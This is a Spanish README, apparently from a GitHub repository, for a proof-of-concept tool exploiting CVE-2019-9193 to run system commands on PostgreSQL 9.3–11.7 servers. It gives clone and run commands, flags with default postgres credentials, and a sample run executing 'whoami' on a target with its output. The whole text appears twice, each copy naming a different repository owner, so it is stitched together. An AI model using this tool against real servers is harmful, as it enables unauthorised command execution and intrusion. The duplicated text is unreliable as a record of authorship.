
Herramienta PoC diseñada para explotar una vulnerabilidad de Ejecución Remota de Código (RCE) autenticada en ciertas versiones de PostgreSQL (9.3 - 11.7)
GenPostgresRCEExploit es una herramienta PoC diseñada para explotar una vulnerabilidad de ejecución remota de código (RCE) autenticada en ciertas versiones de PostgreSQL (9.3 - 11.7). Permite a los usuarios autenticados ejecutar comandos del sistema en un servidor de base de datos PostgreSQL vulnerable a CVE-2019-9193.
psycopg2 desde pip)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: Dirección IP del servidor PostgreSQL (Predeterminado: 127.0.0.1)-p, --port: Puerto del servidor PostgreSQL (Predeterminado: 5432)-d, --database: Nombre de la base de datos PostgreSQL (Predeterminado: template1)-U, --user: Nombre de usuario para conectarse al servidor PostgreSQL (Predeterminado: postgres)-P, --password: Contraseña para conectarse al servidor PostgreSQL (Predeterminado: postgres)-c, ---command: Comando del sistema que se ejecutará en el servidor-t, --timeout: Tiempo de espera de conexión en segundos (Predeterminado: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
Este ejemplo se conecta al servidor PostgreSQL en 192.168.1.10, se autentica con las credenciales proporcionadas y ejecuta el comando whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Esta herramienta está destinada únicamente a fines educativos y pruebas éticas. El uso no autorizado de esta herramienta contra cualquier sistema es ilegal y está estrictamente prohibido. Los autores no se responsabilizan de ningún uso indebido.
GenPostgresRCEExploit es un exploit PoC diseñado para explotar la vulnerabilidad de ejecución remota de código (RCE) en ciertas versiones de PostgreSQL (9.3 - 11.7). El programa permite a usuarios autenticados ejecutar comandos del sistema en un servidor PostgreSQL vulnerable a CVE-2019-9193.
psycopg2)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: Dirección IP del servidor PostgreSQL (Predeterminado: 127.0.0.1)-p, --port: Puerto del servidor PostgreSQL (Predeterminado: 5432)-d, --database: Nombre de la base de datos PostgreSQL (Predeterminado: template1)-U, --user: Nombre de usuario para conectarse al servidor PostgreSQL (Predeterminado: postgres)-P, --password: Contraseña para conectarse al servidor PostgreSQL (Predeterminado: postgres)-c, --command: Comando del sistema a ejecutar en el servidor-t, --timeout: Tiempo de espera de conexión en segundos (Predeterminado: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
En este ejemplo, el programa se conecta al servidor PostgreSQL en 192.168.1.10, se autentica con las credenciales especificadas y ejecuta el comando whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Esta herramienta es solo para fines educativos y pruebas legales. El uso no autorizado de esta herramienta contra cualquier sistema es ilegal y está estrictamente prohibido. Los autores no se hacen responsables de ningún uso indebido.